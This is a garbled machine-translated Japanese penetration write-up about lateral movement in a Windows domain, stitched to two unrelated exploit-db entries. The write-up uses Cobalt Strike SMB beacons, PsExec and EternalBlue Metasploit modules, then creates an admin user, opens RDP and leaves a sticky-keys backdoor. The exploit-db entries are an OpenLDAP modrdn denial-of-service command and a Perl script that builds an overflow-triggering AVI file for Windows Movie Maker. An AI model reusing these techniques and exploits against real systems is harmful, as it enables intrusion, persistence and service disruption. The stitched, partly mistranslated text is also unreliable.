ターゲットホストにはファイアウォールが有効になっていないため、ここでテストしました。CSSで構築されたPSEXECを使用して、ドメインコントロールとコンピューターパスワードを水平方向にキャプチャできます。ただし、Win7デュアルネットワークカードやドメイン内の他のホストがネットワークを離れることができない状況を考えると、ホストから抜け出さない方法を練習してください。 一般に、インターネットなしでオンラインに行く方法は次のとおりです。 SMBビーコンを使用して、httpプロキシを介してオンラインでリスナーを構成するpystingerを使用してsmbビーコンメソッドを使用します SMB ビーコンは、名前のパイプを使用して、親のビーコンを介して通信します。 2つのビーコンがリンクされると、子供のビーコンは親のビーコンからタスクを取得し、それを送信します。リンクされたビーコンは通信にパイプという名前のウィンドウを使用しているため、このトラフィックはSMBプロトコルにカプセル化されているため、SMB ビーコンは比較的隠されています。 SMBビーコンは、利用可能な負荷を直接生成することはできません。PSEXECまたはStagelessペイロードを使用してのみ起動できます。 まず、イントラネットのホストのビーコンを取得し、パスワードをつかんでSMBインジェクションを実行し、オープンポート445を使用して別のマシンで管理者アカウントパスワードを取得します。ターゲットマシンがネットワークを離れない場合は、SMBを使用できます ビーコンはターゲットホストをオンラインでもたらします 1。使用条件 SMBビーコンのホストは、ポート445の接続を受け入れる必要があります。同じコバルトストライクインスタンスによって管理されたビーコンへのリンクのみ。このビーコンの水平ムーブメントを使用するには、ターゲットホストに管理者の権利を持つ管理者の権利または資格情報が必要です。 2。使い方 (1)SMBリスナーを作成します (2)水平方向の動きのためにCSでPSEXECを使用し、既存のビーコンをスプリングボードとして選択します。資格情報は管理者でなければなりません 、つまり、ターゲットホスト管理者の特権を持っています (3)接続が成功し、SMBビーコンのホストの右側に∞∞ロゴがあることがわかります この方法を使用して、主にネットワーク発信機を介してオンラインで中間としてオンラインで行くマシン。ネットワークのないホストが正常に起動された後、ネットワークのないホストが切断された場合、ネットワークのないホストも切断されます。 0x05イントラネット水平浸透 考え ラドンを使用してイントラネットの永遠の青をスキャンし、これらのホストがすべてMS17-010を持っていることがわかります MS17010をプレイするいくつかの一般的な方法: MSFLADON/LADON_MS17010 MSFから分離されたExessusでこれらの幹部プラグインの方法を試しました。私はプロセスについて一つずつ説明することはありません、私のテストの結果について話してください MSFは最も安定していますが、監視モジュールをセットアップして攻撃モジュールを選択する必要があるため、戦うのは少し面倒です。 ladon_ms17010は便利ですが、あまり安定していない場合があります。 CSSプラグインは安定しておらず、ネットワークがネットワークなしで安定していない場合、成功率は低くなります。 ネットワークを離れないこの場合、MSFとHITに分離されたEXEとLADON_MS17010を使用することを優先することができます。成功裏に、カスタムDLLを介して新しいユーザーが作成され、管理者グループに参加し、ポート3389を開き、粘着性のあるキーバックドアが残ります。 実際の状況に応じて、適切な期間と条件の下で直接リモートでログインし、機密データをめくることを検討することができます。これは、「パスワードbook.txt」などの運用および保守担当者の多くの「良い習慣」により、多くの侵入に多くの利便性をもたらすことがよくあります。 cs派生MSFセッション MSFはリスニングポートを設定します 新しいポートを作成して会話を作成します MeterPreterを取得するために実行します ms_17_010ドメイン制御権限を取得 ここでは、DCがMS_17_010の脆弱性を持っていることを知っているので、最初にEternal Blueを使用してヒットしようとしました。 次のモジュールを使用します Exploit/Windows/SMB/MS17_010_ETERNALBLUE 実行後、EXPがヒットしたことがわかりましたが、セッションは確立されていません MS17010モジュールを変更します Exploit/Windows/SMB/MS17_010_PSEXECを使用します ペイロードWindows/MeterPreter/lind_tcp を設定します シェルも手に入れませんでした。当時は注意深く考えていませんでした。後で、Win7が2つのネットワークセグメントにあったためである可能性があると考えたので、Eternal Blueに直接ぶつかることでシェルを取得できませんでした。 MSFは、ネットワークマシンのMS_17_010 を出力できません 以前にMeterPreterをMeterPreterを入手することを考えたので、ルートを追加して試してみました MSFは、単独で戦うとき、まだ非常に安定しており、香りがあります。 Win7がMSFで発売された後、私たちはすでに5つあることを事前に知っていました
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OpenLDAP 2.4.x - 'modrdn' NULL OldDN Remote Denial of Service
source: https://www.securityfocus.com/bid/46831/info OpenLDAP is prone to a remote denial-of-service vulnerability that affects the 'modify relative distinguished name' (modrdn) command. Attackers can exploit this issue to deny service to legitimate users by crashing affected 'slapd' servers. ldapmodrdn -x -H ldap://ldapserver -r '' o=test
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Microsoft Windows Movie Maker 2.1.4026 - '.avi' Remote Buffer Overflow
source: https://www.securityfocus.com/bid/46835/info Windows Movie Maker is prone to a stack-based buffer-overflow vulnerability because the application fails to perform adequate boundary checks on user-supplied data. Successfully exploiting this issue allows attackers to execute arbitrary code in the context of the vulnerable application. Failed exploit attempts will result in a denial-of-service condition. Windows Movie Maker 2.1.4026 is vulnerable; other versions may also be affected. #!/usr/bin/perl ### # Title : Windows Movie Maker 2.1 (Import AVI video) Stack Overflow # Author : KedAns-Dz # E-mail : ked-h@hotmail.com # Home : HMD/AM (30008/04300) - Algeria -(00213555248701) # Twitter page : twitter.com/kedans # platform : Windows # Impact : Stack Overflow in 'moviemk.exe' Process # Tested on : Windows XP SP3 Fran?ais # Target : Windows Movie Maker 2.1.4026 ### # Note : BAC 2011 Enchallah ( KedAns 'me' & BadR0 & Dr.Ride & Red1One & XoreR & Fox-Dz ... all ) # ------------ # Usage : 1 - Creat AVI file # => 2 - Impoter AVI file in WMM 2.1 # => 3 - OverFlow !!! # Assembly Errur : { # [div] exa ,ecx ; 0x74872224 "\xf7\xf1" # [int] ; 0x41 * 515 bytes # } # ------------ #START SYSTEM /root@MSdos/ : system("title KedAns-Dz"); system("color 1e"); system("cls"); print "\n\n"; print " |===========================================================|\n"; print " |= [!] Name : Windows Movie Maker 2.1 (Import AVI video) =|\n"; print " |= [!] Exploit : Stack Buffer Overflow =|\n"; print " |= [!] Author : KedAns-Dz =|\n"; print " |= [!] Mail: Ked-h(at)hotmail(dot)com =|\n"; print " |===========================================================|\n"; sleep(2); print "\n"; # Creating ... my $PoC = "\x4D\x54\x68\x64\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00"; # AVI Header my $Junk = "\x41" x 515 ; # Junk open(file , ">", "Kedans.avi"); # Evil Video AVI (529 bytes) 4.0 KB print file $PoC.$Junk; print "\n [+] File successfully created!\n" or die print "\n [-] OpsS! File is Not Created !! "; close(file); #================[ Exploited By KedAns-Dz * HST-Dz * ]========================= # Greets to : [D] HaCkerS-StreeT-Team [Z] < Algerians HaCkerS > # Greets to All ALGERIANS EXPLO!TER's & DEVELOPER's :=> # Ma3sTr0-Dz * Indoushka * MadjiX * BrOx-Dz * JaGo-Dz * His0k4 * Dr.0rYX # Cr3w-DZ * El-Kahina * Dz-Girl * SuNHouSe2 ; All Others && All My Friends . # Special Greets to 3 em EnGineering Electric Class , BACALORIA 2011 Enchallah # Messas Secondary School - Ain mlilla - 04300 - Algeria # hotturks.org : TeX * KadaVra ... all Others # Kelvin.Xgr ( kelvinx.net) #===========================================================================